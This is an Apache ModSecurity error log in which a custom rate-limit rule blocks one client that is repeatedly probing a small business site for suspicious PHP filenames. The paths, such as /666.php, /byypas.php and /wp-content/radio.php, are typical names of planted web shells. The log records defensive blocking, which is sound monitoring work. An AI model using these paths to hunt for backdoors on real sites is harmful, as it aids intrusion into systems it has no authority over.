[Tue Apr 21 21:24:02.285042 2026] [:error] [pid 54080:tid 54102] [client 172.213.216.244:39357] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aed6cozEbQHHxtmWbaa9wgAAAtQ"]
[Tue Apr 21 21:24:03.910665 2026] [:error] [pid 53832:tid 53859] [client 172.213.216.244:24046] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aed6c9zkuxsE_OhM9UJvfAAAAlg"]
[Tue Apr 21 21:24:04.774480 2026] [:error] [pid 35320:tid 35346] [client 172.213.216.244:26166] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aed6dIJW6fdXWO6agMHOxQAAABA"]
[Tue Apr 21 21:24:05.491805 2026] [:error] [pid 53832:tid 53851] [client 172.213.216.244:31806] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aed6ddzkuxsE_OhM9UJvgwAAAlA"]
[Tue Apr 21 21:24:06.140624 2026] [:error] [pid 53832:tid 53848] [client 172.213.216.244:30849] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aed6dtzkuxsE_OhM9UJvhAAAAk0"]
[Tue Apr 21 21:24:07.413700 2026] [:error] [pid 35320:tid 35341] [client 172.213.216.244:39291] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aed6d4JW6fdXWO6agMHO1AAAAAs"]
[Tue Apr 21 21:24:08.714589 2026] [:error] [pid 35320:tid 35342] [client 172.213.216.244:4933] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aed6eIJW6fdXWO6agMHO2QAAAAw"]
[Tue Apr 21 21:24:10.094406 2026] [:error] [pid 53978:tid 53986] [client 172.213.216.244:30748] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aed6ep1ivsR4hcOSQbYniQAAAoY"]
[Tue Apr 21 21:24:11.865205 2026] [:error] [pid 53832:tid 53854] [client 172.213.216.244:30819] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aed6e9zkuxsE_OhM9UJvhwAAAlM"]
[Tue Apr 21 21:24:13.582194 2026] [:error] [pid 53978:tid 53988] [client 172.213.216.244:30751] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aed6fZ1ivsR4hcOSQbYnkAAAAog"]
[Tue Apr 21 21:24:14.912990 2026] [:error] [pid 53978:tid 53992] [client 172.213.216.244:32883] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aed6fp1ivsR4hcOSQbYnkgAAAow"]
[Tue Apr 21 21:24:16.196814 2026] [:error] [pid 54080:tid 54091] [client 172.213.216.244:35293] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aed6gIzEbQHHxtmWbaa9xwAAAsk"]
[Tue Apr 21 21:24:17.718550 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:30728] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aed6gYJW6fdXWO6agMHO8wAAAA8"]
[Tue Apr 21 21:24:18.915849 2026] [:error] [pid 53832:tid 53848] [client 172.213.216.244:30496] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aed6gtzkuxsE_OhM9UJvkwAAAk0"]
[Tue Apr 21 21:24:20.305512 2026] [:error] [pid 35321:tid 35387] [client 172.213.216.244:32864] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aed6hDeHLhVUuu8cVXyyrgAAAEM"]
[Tue Apr 21 21:24:22.776355 2026] [:error] [pid 53978:tid 53991] [client 172.213.216.244:27393] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aed6hp1ivsR4hcOSQbYnpQAAAos"]
[Tue Apr 21 21:24:23.645069 2026] [:error] [pid 35320:tid 35344] [client 172.213.216.244:31747] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aed6h4JW6fdXWO6agMHPEwAAAA4"]
[Tue Apr 21 21:24:24.785531 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:30867] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aed6iIJW6fdXWO6agMHPGQAAAA8"]
[Tue Apr 21 21:24:25.545407 2026] [:error] [pid 35321:tid 35391] [client 172.213.216.244:30500] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aed6iTeHLhVUuu8cVXyyvAAAAEc"]
[Tue Apr 21 21:24:26.090954 2026] [:error] [pid 35321:tid 35387] [client 172.213.216.244:34069] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aed6ijeHLhVUuu8cVXyyvQAAAEM"]
[Tue Apr 21 21:24:27.151298 2026] [:error] [pid 35415:tid 35441] [client 172.213.216.244:4588] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aed6i0iqDinI4_22zzh2_QAAAM4"]
[Tue Apr 21 21:24:27.833334 2026] [:error] [pid 35320:tid 35353] [client 172.213.216.244:34054] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aed6i4JW6fdXWO6agMHPJAAAABc"]
[Tue Apr 21 21:24:28.892582 2026] [:error] [pid 35320:tid 35350] [client 172.213.216.244:4947] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aed6jIJW6fdXWO6agMHPMQAAABQ"]
[Tue Apr 21 21:24:29.894436 2026] [:error] [pid 35321:tid 35408] [client 172.213.216.244:26843] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aed6jTeHLhVUuu8cVXyy0gAAAFg"]
[Tue Apr 21 21:24:30.579672 2026] [:error] [pid 35321:tid 35386] [client 172.213.216.244:4571] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aed6jjeHLhVUuu8cVXyy1gAAAEI"]
[Tue Apr 21 21:24:31.349934 2026] [:error] [pid 35321:tid 35408] [client 172.213.216.244:30413] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aed6jzeHLhVUuu8cVXyy3wAAAFg"]
[Tue Apr 21 21:24:32.562980 2026] [:error] [pid 54080:tid 54103] [client 172.213.216.244:4948] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aed6kIzEbQHHxtmWbaa92gAAAtU"]
[Tue Apr 21 21:24:33.840586 2026] [:error] [pid 35320:tid 35340] [client 172.213.216.244:4597] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aed6kYJW6fdXWO6agMHPQwAAAAo"]
[Tue Apr 21 21:24:34.667904 2026] [:error] [pid 53832:tid 53844] [client 172.213.216.244:34064] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aed6ktzkuxsE_OhM9UJvqwAAAkk"]
[Tue Apr 21 21:24:36.144117 2026] [:error] [pid 4823:tid 4867] [client 172.213.216.244:32862] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aed6lPc8mke3PfHqsxECbQAAAY4"]
[Tue Apr 21 21:24:37.673868 2026] [:error] [pid 4777:tid 4805] [client 172.213.216.244:26836] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aed6laxXur6bykKyLZStiQAAARE"]
[Tue Apr 21 21:24:38.997885 2026] [:error] [pid 35321:tid 35394] [client 172.213.216.244:35298] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aed6ljeHLhVUuu8cVXyzAAAAAEo"]
[Tue Apr 21 21:24:40.445129 2026] [:error] [pid 53731:tid 53759] [client 172.213.216.244:34053] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aed6mF2I9THUR-bRVGxv5gAAAhc"]
[Tue Apr 21 21:24:41.769583 2026] [:error] [pid 53978:tid 54000] [client 172.213.216.244:30495] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aed6mZ1ivsR4hcOSQbYnvAAAApQ"]
[Tue Apr 21 21:24:43.439289 2026] [:error] [pid 35320:tid 35341] [client 172.213.216.244:30429] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aed6m4JW6fdXWO6agMHPXAAAAAs"]
[Tue Apr 21 21:24:44.430998 2026] [:error] [pid 53832:tid 53837] [client 172.213.216.244:30447] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aed6nNzkuxsE_OhM9UJvvgAAAkI"]
[Tue Apr 21 21:24:45.261893 2026] [:error] [pid 53978:tid 53983] [client 172.213.216.244:4591] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aed6nZ1ivsR4hcOSQbYnwAAAAoM"]
[Tue Apr 21 21:24:46.153161 2026] [:error] [pid 53832:tid 53840] [client 172.213.216.244:34056] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aed6ntzkuxsE_OhM9UJvwwAAAkU"]
[Tue Apr 21 21:24:46.824139 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:34091] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aed6noJW6fdXWO6agMHPXgAAAA8"]
[Tue Apr 21 21:24:47.396028 2026] [:error] [pid 35322:tid 35363] [client 172.213.216.244:4966] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aed6n6PoAfV40BTfVKzeKQAAAIY"]
[Tue Apr 21 21:24:47.989379 2026] [:error] [pid 4777:tid 4794] [client 172.213.216.244:34059] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aed6n6xXur6bykKyLZStkgAAAQY"]
[Tue Apr 21 21:24:48.559826 2026] [:error] [pid 35321:tid 35388] [client 172.213.216.244:30416] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aed6oDeHLhVUuu8cVXyzFAAAAEQ"]
[Tue Apr 21 21:24:49.599456 2026] [:error] [pid 53978:tid 53994] [client 172.213.216.244:27454] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aed6oZ1ivsR4hcOSQbYnwwAAAo4"]
[Tue Apr 21 21:24:50.148563 2026] [:error] [pid 35320:tid 35346] [client 172.213.216.244:27418] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aed6ooJW6fdXWO6agMHPYwAAABA"]
[Tue Apr 21 21:24:50.798774 2026] [:error] [pid 4823:tid 4875] [client 172.213.216.244:34060] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aed6ovc8mke3PfHqsxECcwAAAZY"]
[Tue Apr 21 21:24:51.962148 2026] [:error] [pid 35320:tid 35339] [client 172.213.216.244:30467] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aed6o4JW6fdXWO6agMHPagAAAAk"]
[Tue Apr 21 21:24:53.142102 2026] [:error] [pid 35320:tid 35336] [client 172.213.216.244:4586] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aed6pYJW6fdXWO6agMHPdAAAAAY"]
[Tue Apr 21 21:24:54.274724 2026] [:error] [pid 35320:tid 35352] [client 172.213.216.244:29675] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aed6poJW6fdXWO6agMHPfgAAABY"]
[Tue Apr 21 21:24:56.029118 2026] [:error] [pid 35321:tid 35404] [client 172.213.216.244:28511] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aed6qDeHLhVUuu8cVXyzOgAAAFQ"]
[Tue Apr 21 21:24:57.332443 2026] [:error] [pid 35321:tid 35392] [client 172.213.216.244:4564] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aed6qTeHLhVUuu8cVXyzRQAAAEg"]
[Tue Apr 21 21:24:59.388507 2026] [:error] [pid 35321:tid 35404] [client 172.213.216.244:29648] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aed6qzeHLhVUuu8cVXyzSQAAAFQ"]
[Tue Apr 21 21:25:11.384771 2026] [:error] [pid 35321:tid 35395] [client 172.213.216.244:56947] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aed6tzeHLhVUuu8cVXyzkAAAAEs"]
[Tue Apr 21 21:25:12.899509 2026] [:error] [pid 35321:tid 35393] [client 172.213.216.244:4929] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aed6uDeHLhVUuu8cVXyzlgAAAEk"]
[Tue Apr 21 21:25:14.765642 2026] [:error] [pid 53731:tid 53755] [client 172.213.216.244:4580] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aed6ul2I9THUR-bRVGxv-AAAAhM"]
[Tue Apr 21 21:25:16.149534 2026] [:error] [pid 53978:tid 54003] [client 172.213.216.244:27949] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aed6vJ1ivsR4hcOSQbYn0QAAApc"]
[Tue Apr 21 21:25:16.965294 2026] [:error] [pid 53731:tid 53735] [client 172.213.216.244:26821] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aed6vF2I9THUR-bRVGxv_AAAAgA"]
